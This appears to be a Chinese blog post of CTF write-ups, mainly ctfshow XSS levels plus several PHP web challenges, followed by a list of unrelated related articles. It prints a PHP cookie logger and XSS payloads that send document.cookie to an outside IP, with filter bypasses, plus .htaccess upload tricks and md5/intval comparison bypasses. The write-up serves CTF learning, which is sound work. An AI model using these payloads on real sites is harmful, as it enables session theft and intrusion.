ctfshow xss

1.web316

看的wp

先在服务器上写一个php文件

<?php$cookie = $_GET['cookie'];$time = date('Y-m-d h:i:s', time());$log = fopen("cookie.txt", "a");fwrite($log,$time.':    '. $cookie . "\n");fclose($log);
?>

获取cookie的值,获取日期和时间,打开cookie.txt文件,将时间和cookie写入文件,并用冒号和空格分隔。

<script>location.href="http://ip/.php?cookie="+document.cookie</script>

location.href获取当前页面的url的属性

document.cookie获取当前页面所有cookie的属性,以字符串的形式附加到查询字符串

简单来说就是通过访问上面代码的文件,将自己的cookie写入到cookie.txt

后台会每隔⼀段时间(⼀般为15秒)去访问⼀次我们的链接(毕竟要领10个鸡蛋bot要康康你的分 享状态),当BOT访问我们的xss的时候我们就能拿到admin的cookie。

连续访问…

2.web317

做了过滤,进行测试判断过滤了什么

通过测试发现过滤了<script>

可以使用body,img,svg绕过

<svg onload="location.href='http://47.100.184.216:8081/1.php?cookie='+document.cookie"/>

前面标签,后面通过onload,指定当前页面加载完成后要执行的脚本

3.web318

增加了过滤,但上面的payload还可以用,通过测试是多过滤了img

4.web319

上面的payload,还是可以

5.web320

上面的payload,不可以了

测试过滤什么

后面的没问题,通过测试过滤了空格,空格可以用%09,tab ,/ ,/**/代替。

6.web321

上一题的payload成功,

7.web322

过滤了script,img,iframe,xss,空格,逗号。

//<svg/οnlοad="location.href='http://47.100.184.216:8081/1.php?cookie='+document.cookie"/>

但这个payload还是可以

8.web323

过滤了/

9.web324

还是可以

<svg/onload="location.href='http://47.100.184.216:8081/1.php?cookie='+document.cookie"/>

10.web325

上⼀题payload成功了

11.web326

上⼀题payload成功了

12.[SWPUCTF 2021 新生赛]easyupload3.0

在上传.htaccess的时候前面不要添加名字,不然无法执行

htaccess 在站点的根目录下面,不是在apache目录下,但是它属于apache的一个配置文件

http.conf文件(前提条件)

在此文件中设置 AllowOverried All ,才能使用.htaccess文件

使用php来解析jpg文件

然后上传jpg文件

13.[BJDCTF 2020]easy_md5

访问发现没有什么东西,看了源码和js,都没什么东西

然后用bp抓包看了一下

hint(提示)

搜索了一下

输入之后跳转

访问levell14.php

前面的确保param1 和 param2 的值不相等,后面的确保 param1 和 param2 的MD5散列值相等。

使用数组绕过

PHP 中的 md5() 函数允许你使用 数组 作为该函数的参数, md5() 函数对于 任何数组 都将返回 NULL。

param1[]=1 param2[]=2

前面的判断没有MD5,通过第一个元素不同绕过,后面的通过数组都为空绕过

14.[NSSCTF 2022 Spring Recruit]babyphp

a不能包含任何数字,还要确保它可以转换为一个非零整数

intval()函数空的 array 返回 0,非空的 array 返回 1

使用数组绕过

第二个绕过和上面的差不多也是使用数组绕过

第三个需要确保值不相等,是字符串,md5值相等但是是弱比较

弱判断下,0e开头的数等于0,所以使两端的md5值都为0e开头即可

以下这些字符串,md5哈希之后都是0e开头的

QLTHNDT 0e405967825401955372549139051580

QNKCDZO 0e830400451993494058024219903391

s878926199a 0e545993274517709034328855841020

[GDOUCTF 2023]EZ WEB

访问就一个按钮,点击提示在附近

有一个目录,访问,是python代码

定义一个路由装饰器,将URL路径 '/super-secret-route-nobody-will-guess' 映射到 flag 函数。指定该路由只响应PUT请求。

以put访问,/super-secret-route-nobody-will-guess

HTTP PUT 请求方法创建一个新的资源或用请求的有效载荷替换目标资源的表示。

15.ezbypass-cat

看了源码和网络发现没什么有用的

爆破也没什么东西,进行一下目录爆破,也是没什么有用的

看了一下wp,发现是通过目录扫描扫到了flag.html,但是进行了重定向,用bp抓一下包就可以了

16.[WUSTCTF 2020]朴实无华

看了网络和源码没有有用的东西

目录扫描,扫到了两个地址

访问是一个假的flag

抓包,发现了/fl4g.php

第一个if检查了num 的整数值是否小于2020,并且num+1的整数值是否大于2021。

根据intval()函数的使用方法,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值

当使用科学计数法来判断num<2020时,11e3会被强制转换为int类型,相当于11,但是当用这种办法来判断+1时,科学计数法就会被解析出来11e3+1就是11001,这样就进行了绕过

第二个if检查了md5参数的值是否等于其MD5散列值。

弱比较,只要找到一个值的MD5值等于他本身就可以了

0e215962017

第三个不能有空格,$IFS$9

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/490944.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

25. 深浅拷贝

一、什么是浅拷贝 只对对象的最顶层进行的拷贝称为 浅拷贝。我们可以用 copy 模块中的 copy() 方法实现浅拷贝。 import copya [11, 22, 33] b [44, 55, 66] c [a, b] d copy.copy(c)print(f"c: {c}") print(f"d: {d}") print(f"c d: {c d}&q…

MySQL追梦旅途之性能优化

1、索引优化 索引可以显著加速查询操作&#xff0c;但过多或不适当的索引也会带来负面影响&#xff08;如增加写入开销&#xff09;。因此&#xff0c;选择合适的索引至关重要。 创建索引&#xff1a; 为经常用于WHERE子句、JOIN条件和ORDER BY排序的列创建索引。 CREATE I…

Liveweb视频汇聚平台支持WebRTC协议赋能H.265视频流畅传输

随着科技的飞速发展和网络技术的不断革新&#xff0c;视频监控已经广泛应用于社会各个领域&#xff0c;成为现代安全管理的重要组成部分。在视频监控领域&#xff0c;视频编码技术的选择尤为重要&#xff0c;它不仅关系到视频的质量&#xff0c;还直接影响到视频的传输效率和兼…

【超详细实战攻略】Jmeter逻辑控制器中if控制器、模块控制器、测试片段的使用方法

【超详细实战攻略】Jmeter逻辑控制器中if控制器、模块控制器、测试片段的使用方法 1 搭建测试对象1.1 禅道下载1.2 禅道安装1.3 运行禅道1.4 接口查看1.5 接口选择 2 Jmeter前置操作2.1 创建Jmeter线程组2.2 创建信息头管理器和请求默认值2.3 添加获取token接口2.4 添加监听器 …

我在广州学 Mysql 系列之 数据类型和运算符详解

ℹ️大家好&#xff0c;我是&#x1f606;练小杰&#xff0c;今天主要学习 Mysql的数据类型以及运算符操作~~ 上周五学习了“Mysql 系列之 数据“表”的基本操作”~ 想要了解更多&#x1f236;️MYSQL 数据库的命令行总结&#xff01;&#xff01;&#xff01; “我是你的敌人,…

如何高效获取Twitter数据:Apify平台上的推特数据采集解决方案

引言 在数据分析和市场研究领域&#xff0c;Twitter&#xff08;现在的X&#xff09;数据一直是重要的信息来源。但是&#xff0c;自从Twitter更改API定价策略后&#xff0c;获取数据的成本大幅提升。本文将介绍一个经济实惠的替代方案。 为什么需要Twitter数据&#xff1f; …

大模型学习笔记------SAM模型详解与思考

大模型学习笔记------SAM模型详解与思考 1、SAM框架概述2、Segment Anything Task3、Segment Anything Model SAM模型是Meta 提出的分割一切模型&#xff08;Segment Anything Model&#xff0c;SAM&#xff09;突破了分割界限&#xff0c;极大地促进了计算机视觉基础模型的发展…

Unity3D仿星露谷物语开发2之工程初始化

1、依赖包安装 进入【Window -> Package Manager】 安装如下插件&#xff1a; 1&#xff09;Cinemachine 它是一套专门控制Unity Camera的模块&#xff0c;适用于各种游戏场景中物体的移动变化&#xff0c;解决了许多关于摄像机间的复杂控制&#xff0c;混合&#xff0c…

[论文阅读] |智能体长期记忆与反思

写在前面&#xff1a;10月份的时候&#xff0c;联发科天玑9400发布&#xff0c;搭载这款旗舰 5G 智能体 AI 芯片的荣耀MagicOS9.0实现了一句话让手机自动操作美团点咖啡。很快商场实体店里便能看到很多品牌手机已经升级为智能体语音助手。下一步&#xff0c;这些智能体或许便能…

数据结构之线性表1

2.1 线性表的定义和基本操作 1.线性结构的特点是&#xff1a;在数据元素的非空有限集中&#xff0c; &#xff08;1&#xff09;存在惟一的一个被称做“第一个”的数据元素&#xff1b; &#xff08;2&#xff09; 存在惟一的一个被称做“最后一个”的数据元素&#xff1b; &a…

【conda/cuda/cudnn/tensorrt】一份简洁的深度学习环境安装清单

&#x1f680;本文主要总结一下conda、cuda、cudnn、tensorrt的快速安装。至于nvidia显卡驱动的安装&#xff0c;暂且不提。本文适合有一定反复安装经验的读者&#x1f602;&#xff0c;方便其快速整理安装思路。 NVIDIA Drivers &#x1f314;01conda ⭐️ 注意&#xff0c;c…

拿到小米 Offer,却迷茫了。。

大家好&#xff0c;我是程序员鱼皮&#xff0c;12 月了&#xff0c;很多小伙伴也拿到了秋招的 Offer&#xff08;没拿到也不要灰心&#xff09;&#xff0c;但即使拿到 Offer&#xff0c;可能还会有一些其他的顾虑。今天分享我们编程导航一位鱼友的提问&#xff0c;给大家作为学…

专业140+总分400+北京理工大学826信号处理导论考研经验北理工电子信息与通信工程,真题,大纲,参考书。

考研总分400&#xff0c;专业826信号处理导论&#xff08;信号与系统和dsp&#xff09;140&#xff0c;成功上岸北理工&#xff0c;虽然已经一段时间&#xff0c;但是后劲很大&#xff0c;每每回想还是昨日事&#xff0c;群里同学多次要求分享自己的一些经验&#xff0c;感谢大…

【CC2530开发基础篇】继电器模块使用

一、前言 1.1 开发背景 本实验通过使用CC2530单片机控制继电器的吸合与断开&#xff0c;深入了解单片机GPIO的配置与应用。继电器作为一种常见的电气控制元件&#xff0c;广泛用于自动化系统中&#xff0c;用于控制大功率负载的开关操作。在本实验中&#xff0c;将通过GPIO口…

geoserver(1) 发布sql 图层 支持自定义参数

前提使用postgis 数据库支持关联 join 支持 in,not in,like,及其他sql原生函数 新增sql图层 编写自定义sql 编辑sql语句必须输出带有geom数据 正则表达式去除 设置id以及坐标参考系 预览sql图层效果 拼接sql参数 http://xxx.com/geoserver/weather/wms?SERVICEWMS&VERSI…

docker login 出错 Error response from daemon

在自己的Linux服务器尝试登陆docker出错 输入完用户密码之后错误如下&#xff1a; 解决方案 1.打开daemo文件&#xff1a; vim/etc/docker/daemon.json 2.常用的国内Docker 镜像源地址 网易云 Docker 镜像&#xff1a;http://hub-mirror.c.163.com 百度云 Docker 镜像&#x…

aws(学习笔记第十七课) SQS Amazon Simple Queue Service服务

aws(学习笔记第十七课) SQS Amazon Simple Queue Service服务 学习内容&#xff1a; 使用SQS Amazon Simple Queue Service服务整体代码&#xff08;nodejs的通常工程&#xff09;代码动作 1. 使用SQS Amazon Simple Queue Service服务 利用应用程序来学习SQS 创建S3$ aws s…

OpenLinkSaas 2025年1月开发计划

先来看看OpenLinkSaas的大目标 在OpenLinkSaas的产品目标中&#xff0c;让开发人员更加方便的使用云资源是目标之一。通过各大云厂商的API&#xff0c;来可视化云上基础设施的数据是远远不够的。我们准备在2025年1月份增加方便管理和运营研发场景下服务器的能力。 这部分的功能…

6.1 初探MapReduce

MapReduce是一种分布式计算框架&#xff0c;用于处理大规模数据集。其核心思想是“分而治之”&#xff0c;通过Map阶段将任务分解为多个简单任务并行处理&#xff0c;然后在Reduce阶段汇总结果。MapReduce编程模型包括Map和Reduce两个阶段&#xff0c;数据来源和结果存储通常在…

上传文件时获取音视频文件时长和文本文件字数

获取音视频文件时长和文本文件字数 一、获取音视频文件时长二、计算文本文件字数 最近有个需求&#xff0c;要求上传文件时获取音视频文件时长和文本文件字数&#x1f436;。 发现这样的冷门资料不多&#xff0c;特做个记录。本文忽略文件上传功能&#xff0c;只封装核心的工具…